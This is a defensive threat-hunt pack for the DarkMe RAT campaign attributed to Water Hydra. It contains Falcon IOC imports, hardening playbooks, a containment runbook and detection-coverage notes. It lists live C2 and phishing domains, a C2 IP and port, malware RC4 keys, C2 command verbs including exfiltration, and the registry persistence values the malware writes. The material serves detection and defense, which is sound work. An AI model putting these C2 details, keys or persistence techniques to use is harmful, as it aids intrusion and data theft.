Falcon IOC Management CSVbulk import — detect only
type,value,action,severity,expiration,description,tags
sha256,394c93dfbb7581c66a23c52b20cd90b31415c0825a2eab7107e60ee3fe693c04,detect,critical,2027-03-28,DarkMe image.pif initial dropper (PE masquerading as an image),campaign:DarkMe
sha256,9fb5888f9ac99227a35f3e08ca08bfb9eed676e1f91638599eba0d7a5aac847f,detect,high,2027-03-28,DarkMe propi.msi staging installer,campaign:DarkMe
sha256,1c923c685f97e556f241d0f1880283500a61dc7ecae8cafe75f34c720ff6b918,detect,high,2027-03-28,DarkMe prnfig.wsf staging script,campaign:DarkMe
sha256,52b242047a8055c0936b384b952c1c16c1072a590610140b01f4acefa8ae883a,detect,medium,2027-03-28,DarkMe filetext2.txt COM registry import,campaign:DarkMe
sha256,4a18f65ab7de7be385cbcebc78c9ae49334294f93726822b8900f9b7a324a6b0,detect,critical,2027-03-28,DarkMe Coconout.dll loader stage 1 (COM entry point),campaign:DarkMe
sha256,3052352ac811c48590f0239281312c35560fc06b4dc39790e365eb1e7cab8634,detect,critical,2027-03-28,DarkMe Use.dll loader stage 2 (anti-sandbox gate plus persistence),campaign:DarkMe
sha256,d7185bd7b450b478c793ece3025bdd867eed70bb7b739a5f26375b5ba6cf0d93,detect,critical,2027-03-28,DarkMe Finalized.dll loader stage 3 (RunPE),campaign:DarkMe
sha256,54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76,detect,high,2027-03-28,DarkMe company.cer encrypted payload,campaign:DarkMe
domain,readonline365.com,detect,high,2027-03-28,DarkMe phishing delivery host,campaign:DarkMe
domain,storageonline.me,detect,high,2027-03-28,DarkMe phishing delivery host,campaign:DarkMe
domain,viewdocument.live,detect,high,2027-03-28,DarkMe phishing delivery host,campaign:DarkMe
domain,advancedfuturetechnology.com,detect,medium,2027-03-28,DarkMe phishing delivery host (suspended at time of publication),campaign:DarkMe
domain,sharedfuturetech.com,detect,medium,2027-03-28,DarkMe phishing delivery host (payload pulled at time of publication),campaign:DarkMe
domain,onlineview365.com,detect,high,2027-03-28,DarkMe MSI staging host,campaign:DarkMe
domain,thatawful.boutique,detect,high,2027-03-28,DarkMe RC4-decrypted C2 domain,campaign:DarkMe
ipv4,67.43.50.11,detect,high,2027-03-28,DarkMe C2 endpoint (TCP/7712),campaign:DarkMe
# sha256 2915efecf2a01ce0b3ef49c47666ec43c326e7804df10e5859db5f08eeca8a37 = clspack.exe — LEGITIMATE signed Microsoft binary abused as a hollowing target. Do NOT import as a blockable indicator; monitor execution location via Q11 instead.
Behavioral Signaturesregistry / COM / crypto / C2
# COM / registry persistence
CLSID (COM server, ProgID Coconout.Primary): {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
TypeLib: {8F1576C0-BB08-4F05-87A6-268C0D548794}
InprocServer32 target: %AppData%\ComponentsFolder\Coconout.dll
Protocol handler key: HKCU\Software\Classes\Locked\shell\open\command
Run value: HKCU\Software\Microsoft\Windows\CurrentVersion\Run  "Locked" = explorer.exe "Locked://Newest"

# Payload / C2 crypto (pivot and malware-analysis context, not network/file IOCs)
Payload decryption key (company.cer, broken single-byte-effective RC4/XOR): Nobodygoingout
C2-string RC4 key (this sample): onlywayhere23!$$#@!!35@!12
Historical public-builder RC4 key (2024 campaigns; SonicWall/Trend Micro; NOT valid for this sample): noway123!$$#@35@!

# C2 command verbs (Spanish/Italian-derived mnemonics)
SHLEXE  execute shell command
ZIPALO  archive staging ("zip it")
COPALO  copy file ("copy it")
PASALO  exfiltrate ("pass it")
DELMAP  delete directory
STRFLS  enumerate a directory

# Non-standard C2 port
TCP/7712
Named Malware / Toolingattribution & lineage
Malware family: DarkMe (VB6 spy-RAT / infostealer)
Actor / cluster: Water Hydra (aka DarkCasino); historically overlapping with the EvilNum-led "Operation DarkCasino" tracked by NSFOCUS (Sept 2022); split into its own cluster by Nov 2023
Loader chain filenames: image.pif, propi.msi, prnfig.wsf, filetext2.txt, Coconout.dll, Use.dll, Finalized.dll, company.cer
Hollowing target (LEGITIMATE — do not block): clspack.exe, Microsoft-signed "Zip Package Creation Tool"
Historical zero-days abandoned in this campaign: CVE-2023-38831 (WinRAR extension spoofing, weaponized April 2023), CVE-2024-21412 (Windows Defender SmartScreen bypass, weaponized late 2023/early 2024)
Patch / ASR / Audit Checklisthardening cross-reference
# Attack Surface Reduction rule GUIDs (Microsoft Defender) — see §13 for deployment
be9ba2d9-53ea-4cdc-84e5-9b1eeee46550   Block executable content from email client and webmail
5beb7efe-fd9a-4556-801d-275e5ffc04cc   Block execution of potentially obfuscated scripts
d3e037e1-3eb8-44c8-a917-57927947596d   Block JavaScript or VBScript from launching downloaded executable content
01443614-cd74-433a-b99e-2ecdc07bfc25   Block executable files from running unless they meet a prevalence, age, or trusted list criterion

# Windows Script Host disablement
HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings!Enabled = 0 (REG_DWORD)

# Deployment audit checklist
[ ] WSH disabled fleet-wide, or scoped to non-developer populations
[ ] ASR rules above set to Block (not Audit) on pilot ring, then fleet
[ ] AppLocker/WDAC deny-list covers execution from %AppData%\*\*.exe and \*\*.dll
[ ] Mail gateway blocks .pif attachments and true-file-type PE content regardless of claimed extension
[ ] SACL auditing enabled on HKCU\Software\Classes\CLSID (registry object access)
11

Detection Validation Gates

GateWhat to confirm
Telemetry readyConfirm ProcessRollup2/SyntheticProcessRollup2, PeFileWritten, AsepValueUpdate/RegGenericValueUpdate, DnsRequest, and NetworkConnectIP4 are flowing for the target host groups before enabling any query as a scheduled search.
Benign baselineRun Q1, Q3, Q4, Q6, Q8, Q9, Q10, Q14 over a trailing 30-day window before enabling as alerts, to size the false-positive volume per query in your own estate.
Positive testsConfirm each query fires against a synthetic replica of its pattern (e.g., a lab rundll32.exe /sta {test-GUID} invocation with no DLL path, a lab Run-key value shaped like Q10) before relying on it operationally; do not detonate the live sample outside an isolated lab.
Promotion criteriaZero false positives over the 14-day post-baseline window and CONF high → promote to a Custom IOA per §9. Anything below that bar stays a scheduled hunt query, re-reviewed at the next changelog entry.
12

Hardening — Tiered

TTP set: PE-as-image phishing (T1204.002/T1036.008), LOLBin script/installer abuse (T1218.007/T1059.005/T1112/T1218.011), COM/protocol-handler/Run-key persistence (T1546.015/T1546.001/T1547.001), process hollowing into a signed binary (T1055.012/T1036.005), RC4-obscured C2 on a non-standard port (T1071.004/T1571). Primary mitigations: M1038 (Execution Prevention), M1042 (Disable/Remove Feature or Program), M1040 (Behavior Prevention on Endpoint), M1047 (Audit), M1017 (User Training), M1026 (Privileged Account Management), M1018 (User Account Management / LAPS).

Immediate (deploy this week)
  • Block .pif execution and delivery. Add .pif to your mail-gateway/attachment-defense block list (true-file-type detection, not extension-only) and to an AppLocker/SRP deny rule for user-writable paths. Framework: MITRE M1038; CIS Microsoft Windows Benchmark — Software Restriction Policies / Application Control section.
  • Enable the four Attack Surface Reduction rules in §10's audit block (email/webmail executable content, obfuscated scripts, JS/VBS launching downloaded content, unusual/untrusted executables) in Block mode, piloted first if you run in Audit today. Framework: MITRE M1040; Microsoft Defender ASR rule reference.
  • Disable Windows Script Host on endpoint populations that do not need .vbs/.wsf/.js execution (most knowledge-worker fleets). Framework: MITRE M1042; Microsoft Security Baseline guidance on legacy scripting engines.
  • Confirm the Falcon prevention policy has Suspicious Processes = Block, and that Sensor Visibility for registry and COM-relevant event classes is fully enabled on the policies applied to the affected host groups. Framework: MITRE M1040.
Near term (1–4 weeks)
  • Pilot an AppLocker/WDAC deny rule for execution under %AppData%/%LocalAppData% except an explicit signed-vendor allowlist, on a 5–10 endpoint ring before fleet rollout. Framework: MITRE M1038; CIS Microsoft Windows Benchmark Application Control guidance. Compatibility note: some legitimate Electron-based apps and browser updaters self-update from AppData; expect to build an allowlist iteratively.
  • Enable registry SACL auditing on HKCU\Software\Classes\CLSID (and, if feasible, the Classes protocol-handler and Run-key hives) so COM-hijack and persistence writes are independently logged for SIEM correlation. Framework: MITRE M1047; Microsoft Advanced Audit Policy — Object Access > Registry.
  • Re-verify email true-file-type inspection catches a PE served from a link whose display text/extension claims to be an image, not just attachments — this campaign's initial vector was a link, not an attachment. Framework: vendor secure-email-gateway hardening guidance (Proofpoint/Mimecast/Defender for Office 365 Safe Links equivalent). ⚠ best-practice, no single formal benchmark line covers this exact control.
Strategic (1–3 months)
  • Move toward WDAC in enforced mode (not audit) fleet-wide, with a maintained exception pipeline, so unsigned/unexpected DLL loads from user-writable paths are denied by policy rather than caught after the fact. Framework: MITRE M1038; Microsoft WDAC design guide.
  • Implement tiered admin / LAPS to blunt the blast radius of any successful crypto-wallet or credential theft that does land. Framework: MITRE M1026, M1018.
  • Run a phishing-simulation track specifically covering the "fake image link" lure pattern (a URL that looks like it points to a picture but serves an executable), since Huntress's own framing is that this shift makes the attack cheaper precisely because users still click. Framework: MITRE M1017.
13

Deployable Playbooks

Prerequisites (all steps): local admin / GPO management rights on target endpoints; Microsoft Defender Antivirus present and not in passive mode for the ASR steps; a pilot ring defined before any fleet-wide rollout. Estimated deploy time: 1–2 hours for Steps 1–3 across a pilot ring; Steps 4–5 depend on your mail-gateway/SIEM vendor's change process.

Step 1 — Disable Windows Script Host

What it does: Prevents wscript.exe/cscript.exe from executing .vbs/.wsf/.js files, breaking the prnfig.wsf staging step. Why it works: the loader chain cannot reach the registry-import/rundll32 handoff if the WSH engine itself refuses to run.

Prerequisites: confirm no business-critical .vbs/.wsf logon scripts or line-of-business tooling depend on WSH before disabling fleet-wide. Reboot required: No.

PowerShell:
$path = 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings'
New-Item -Path $path -Force | Out-Null
New-ItemProperty -Path $path -Name 'Enabled' -Value 0 -PropertyType DWORD -Force | Out-Null
Write-Output "Windows Script Host disabled"

GPO path:
Computer Configuration > Administrative Templates > (custom ADMX or direct registry policy — WSH has no native ADMX; deploy via Group Policy Preferences registry item or a signed script)

Verify:
(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings' -Name Enabled -EA SilentlyContinue).Enabled
# Expect: 0

Rollback:
Set-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings' -Name Enabled -Value 1
# No reboot required

Step 2 — Enable Attack Surface Reduction rules (script & executable-content abuse)

What it does: Blocks obfuscated-script execution, JS/VBScript launching downloaded executables, executable content from email/webmail, and low-prevalence executables. Why it works: covers the image.pif delivery step and the prnfig.wsf execution step independently of the WSH-disable control.

Prerequisites: Microsoft Defender Antivirus active (passive mode acceptable if a third-party AV is primary, per Microsoft's ASR compatibility notes); pilot in Audit mode for 1–2 weeks if these rules are not already deployed. Reboot required: No.

PowerShell:
$ids = @(
  'be9ba2d9-53ea-4cdc-84e5-9b1eeee46550',  # Block executable content from email client and webmail
  '5beb7efe-fd9a-4556-801d-275e5ffc04cc',  # Block execution of potentially obfuscated scripts
  'd3e037e1-3eb8-44c8-a917-57927947596d',  # Block JavaScript or VBScript from launching downloaded executable content
  '01443614-cd74-433a-b99e-2ecdc07bfc25'   # Block executable files from running unless they meet a prevalence, age, or trusted list criterion
)
Set-MpPreference -AttackSurfaceReductionRules_Ids $ids -AttackSurfaceReductionRules_Actions Enabled,Enabled,Enabled,Enabled
Write-Output "ASR rules set to Block"

GPO path:
Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus >
Microsoft Defender Exploit Guard > Attack Surface Reduction > Configure Attack Surface Reduction rules
(add each GUID above with value 1 = Block; use 2 = Audit for the pilot ring)

Verify:
$i = (Get-MpPreference).AttackSurfaceReductionRules_Ids
$a = (Get-MpPreference).AttackSurfaceReductionRules_Actions
for ($n=0; $n -lt $i.Count; $n++) { "$($i[$n]) => $($a[$n])" }
# Expect: 1 (Block) for each of the four GUIDs above

Monitor for false positives:
Event ID 1121 (Block) / 1122 (Audit) in Microsoft-Windows-Windows Defender/Operational.
If a legitimate internal WSF/installer tool trips it, add a targeted exclusion:
Add-MpPreference -AttackSurfaceReductionOnlyExclusions 'C:\Path\To\LegitimateTool.exe'

Rollback:
Set-MpPreference -AttackSurfaceReductionRules_Ids $ids -AttackSurfaceReductionRules_Actions Disabled,Disabled,Disabled,Disabled

Step 3 — AppLocker deny rule for execution from %AppData%

What it does: Denies EXE/DLL execution from user-writable AppData subfolders unless explicitly allowlisted. Why it works: breaks the chain at the point where Coconout.dll/Use.dll/Finalized.dll would otherwise load from %AppData%\ComponentsFolder\.

Prerequisites: AppLocker (or WDAC) available (Windows 10/11 Enterprise or Education for full policy flexibility); build and pilot an allowlist for any legitimate AppData-resident app (Electron apps, browser updaters, RMM agents) before enforcing. Reboot required: No (AppLocker policy refresh via gpupdate is sufficient); the Application Identity service must be running.

PowerShell (create + test in Audit mode first):
New-AppLockerPolicy -RuleType Publisher,Path -User Everyone -RuleNamePrefix "DenyAppDataExec" `
  -XmlPolicy | Set-AppLockerPolicy -Merge

# Minimal deny-path rule (adapt via the AppLocker MMC snap-in for a maintained allowlist):
# Deny EXE/DLL execution under %APPDATA%\* and %LOCALAPPDATA%\*, then add explicit Allow
# Publisher rules for any signed vendor tooling you need to exempt.

Verify (Audit mode first):
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -MaxEvents 20

Rollback:
Set-AppLockerPolicy -XmlPolicy "C:\Path\To\PreviousPolicy.xml"
# or remove the rule collection: Remove-AppLockerPolicy (if fully rolling back AppLocker)

Step 4 — Block .pif at the mail gateway / secure email gateway

What it does: Stops image.pif (and any .pif) from reaching the inbox as an attachment, and flags/rewrites links whose true-file-type detonation resolves to a PE despite an image-looking URL or filename. Why it works: removes the initial-access step entirely.

Prerequisites: mail-flow rule or transport rule authoring rights (Exchange Online / on-prem Exchange / third-party SEG); Safe Attachments or equivalent detonation sandbox licensed and enabled. Reboot required: No.

Exchange Online PowerShell (illustrative — adapt file-type list to your standard):
New-TransportRule -Name "Block PIF Attachments" `
  -AttachmentExtensionMatchesWords "pif" `
  -RejectMessageReasonText "Blocked: .pif attachments are not permitted" `
  -Mode Enforce

Defender for Office 365:
Threat policies > Anti-malware > Common Attachment Types Filter > add "pif" to the blocked file-type list
Threat policies > Safe Attachments > enable dynamic delivery / true-file-type detonation on all recipient policies

Verify:
Send a benign test .pif from an external test mailbox and confirm rejection/quarantine in the message trace.

Rollback:
Disable-TransportRule -Identity "Block PIF Attachments"
# or remove "pif" from the Common Attachment Types Filter list

Step 5 — COM hijack registry auditing

What it does: Generates a Security-log event (4657) whenever a value under HKCU\Software\Classes\CLSID is created or modified, independent of Falcon coverage. Why it works: gives SIEM/SOAR a second, native-Windows detection path for the exact persistence mechanism this campaign relies on.

Prerequisites: Advanced Audit Policy Configuration available (Windows 8/Server 2012+); a SACL must be applied to the target registry key in addition to enabling the audit subcategory. Reboot required: No.

PowerShell / auditpol:
auditpol /set /subcategory:"Registry" /success:enable /failure:enable

# Apply a SACL to the CLSID hive (run as SYSTEM/admin; adjust for your SACL tooling of choice):
$acl = Get-Acl -Path 'Registry::HKEY_CURRENT_USER\Software\Classes\CLSID'
$rule = New-Object System.Security.AccessControl.RegistryAuditRule(
  "Everyone", "SetValue,CreateSubKey", "ContainerInherit", "None", "Success")
$acl.AddAuditRule($rule)
Set-Acl -Path 'Registry::HKEY_CURRENT_USER\Software\Classes\CLSID' -AclObject $acl

Verify:
auditpol /get /subcategory:"Registry"
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4657]]" -MaxEvents 5

Rollback:
auditpol /set /subcategory:"Registry" /success:disable /failure:disable
# and remove the added RegistryAuditRule from the CLSID key's ACL via the same Get-Acl/Set-Acl pattern
14

Containment Runbook

PhaseActionsOwnerEvidence to capture
1 — TriageConfirm the trigger (Q7 known-CLSID hit, Q11 clspack.exe/AppData hit, or Q12/Q13 C2 hit). Pull the full process tree, the registry values written under the CLSID/Locked/Run keys, and any network connections from the hollowed process.SOC L1/L2Falcon process-timeline export; RegObjectName/RegStringValue captures; network connection log
2 — ContainNetwork-isolate the host from the Falcon console. Kill the hollowed clspack.exe process tree. Block thatawful.boutique / 67.43.50.11 at the perimeter resolver/firewall (single-sourced — document the decision per your IOC-confidence policy). Suspend the affected user's cached/cloud sessions pending credential reset.IR leadIsolation timestamp; kill confirmation; firewall/DNS change ticket
3 — EradicateDelete %AppData%\ComponentsFolder\ and %AppData%\Microsoft\clspack.exe. Remove the HKCU CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B} registration, the Locked protocol handler, and the Locked Run-key value. Reboot to fully clear the COM registration cache.IR / endpoint engineeringBefore/after registry export; file deletion log; reboot confirmation
4 — RecoverRe-verify clean via a full Falcon/AV scan. Reset credentials for the affected user. Treat any cryptocurrency wallet used on the host as compromised — assume seed phrases are exposed and have the user move funds to a new wallet from a clean device. Re-enable network access only after a 14-day clean monitoring window.IR + HelpdeskScan report; credential-reset ticket; wallet-migration confirmation from the user
5 — Post-incidentRetro-hunt the full fleet with Q1, Q6, Q7, Q12, Q13 over a 90-day DNS/process lookback. Update phishing-awareness materials to cover the "fake image link" lure. File a §17 changelog entry and brief stakeholders on findings.Threat hunt teamRetro-hunt results; training-material diff; changelog entry
15

Detection Coverage Map

Attack-chain stepBehaviorCQLIOACoverage
1Phishing email delivery (image-claiming link)——GAP — no Falcon telemetry for email delivery; covered only by §7 mail-gateway guidance
2.pif click / execution / write-to-diskQ1, Q2Q1 candidateGood
3msiexec remote MSI installQ3—Good
4CAB expand + prnfig.wsf executionQ4, Q14—Good
5reg.exe import of registry templateQ5—Good
6rundll32 /sta {CLSID} COM invocationQ6, Q7Q6, Q7 candidatesGood
7Coconout.dll → Use.dll FillText in-process call——GAP — in-process DLL export invocation is not independently visible via Falcon CQL fields
8a329-application inverted sandbox enumeration——GAP — in-memory CreateToolhelp32Snapshot/Process32Next walk; no distinct network or file artifact
8bPersistence writes: CLSID InprocServer32, protocol handler, Run keyQ8, Q9, Q10Q10 candidateGood
9company.cer RC4/XOR payload decryption——GAP — in-memory decryption; not observable via telemetry
10Process hollowing into signed clspack.exeQ11—Partial — path/network anomaly is visible (Q11); the hollowing mechanics themselves (NtUnmapViewOfSection etc.) rely on Falcon's native ML/IOA sensor logic, not a CQL field
11RC4-encrypted C2 string decryption + beaconQ12, Q13Q13 candidateGood for the network effect; GAP for the in-memory decrypt itself
12Wallet theft / screenshots / AV enumeration / arbitrary command execution——GAP — capability-level; no artifact distinct from the already-covered C2 channel (step 11)

5 of 12 chain steps carry an honest GAP rating — all five are in-memory/in-process behaviors (email content inspection aside) that Falcon's standard event model does not expose as a queryable field, by design. This pack compensates by detecting the deterministic artifacts each gapped step leaves behind (persistence writes, execution-location anomalies, network egress) rather than the step itself. Validation-gate criteria for the queries covering the "Good"/"Partial" rows are in §11.

16

Hunt Summary Ticket

TITLE:      DarkMe RAT (VB6) — Water Hydra Phishing-Only Chain
SEVERITY:   High
SCOPE:      Windows endpoints; Falcon LTR/NG-SIEM — ProcessRollup2, SyntheticProcessRollup2,
            PeFileWritten, AsepValueUpdate, RegGenericValueUpdate, DnsRequest, NetworkConnectIP4
HYPOTHESIS: A user executed a .pif masquerading as an image from a phishing link, triggering a
            VB6 COM-based loader chain (Coconout.dll -> Use.dll -> Finalized.dll) that establishes
            triple persistence and process-hollows the DarkMe RAT into a signed Microsoft binary
            (clspack.exe), then beacons to thatawful.boutique / 67.43.50.11:7712.
QUERIES:    Q1-Q14 (Section 8); IOA candidates Q1, Q6, Q7, Q10, Q13 (Section 9)
DO FIRST:   Run Q7 (known CLSID) and Q13 (C2 IP:port) environment-wide over a 30-day window.
            Any hit = confirmed compromise; escalate to IR immediately per Section 14.
FINDINGS:   [populate post-hunt]
GAPS:       In-memory 329-app inverted sandbox check, RC4/XOR payload decryption inside
            Finalized.dll, and granular process-hollowing internals are not independently
            visible in Falcon CQL telemetry (Section 15). Every atomic IOC in this pack traces
            to exactly one public source (Huntress, 2026-09-22) — none are promoted to a
            prevent/blocking posture (Section 4/10/12).
ACTIONS:    See Containment Runbook, Section 14.
OWNER:      HuntPack
VERSION:    v0.1 · 2026-09-28
17

Changelog

v0.12026-09-28Initial pack build. Primary source: Huntress (2026-09-22). Corroborating/background: Help Net Security, Black Arrow Cyber, SonicWall, Trend Micro ZDI, Group-IB. IT Security Guru dropped — blocked fetch (HTTP 403 / Cloudflare challenge), no snapshot saved. 14 CQL hunt queries covering the full documented chain; 5 honest coverage gaps for in-memory/in-process behavior. All atomic IOCs single-sourced — shipped as detect/hunt, none as prevent.
18

References

TierSourceUsed ForAccess Date
T2Huntress — DarkMe Email Campaign Broadens Targeting For APT RATPrimary technical analysis; every atomic IOC in this pack2026-09-28
T2Help Net Security — DarkMe RAT trades zero-days for plain phishing emailsAttribution/motive context, analyst quotes2026-09-28
T3IT Security Guru — Zero-day hackers ditch exploits for a fake image file in new DarkMe campaign (2026-09-23)Not used — fetch blocked (HTTP 403 / Cloudflare challenge), no snapshot saved, dropped per sourcing ruleattempted 2026-09-28
T2SonicWall — A Deep Dive Into DarkMe RAT MalwareHistorical (2024) sample lineage/background only2026-09-28
T3Black Arrow Cyber — Threat Briefing, 25 September 2026Timeline/visibility corroboration2026-09-28
T1Trend Micro ZDI — CVE-2024-21412: Water Hydra Targets Traders With Microsoft Defender SmartScreen Zero-DayActor background, historical zero-day chain2026-09-28
T1Group-IB — Traders' Dollars in Danger: CVE-2023-38831 zero-day vulnerability in WinRARHistorical zero-day background (2023)2026-09-28
—MITRE ATT&CKTechnique IDs throughout §62026-09-28

Source snapshots saved verbatim under DarkMe-RAT-VB6-Hunt-sources/ alongside this file: 01-huntress-darkme.txt, 02-helpnetsecurity.txt, 03-sonicwall.txt, 04-blackarrow.txt, 05-trendmicro-cve-2024-21412.txt, 06-groupib-cve-2023-38831.txt.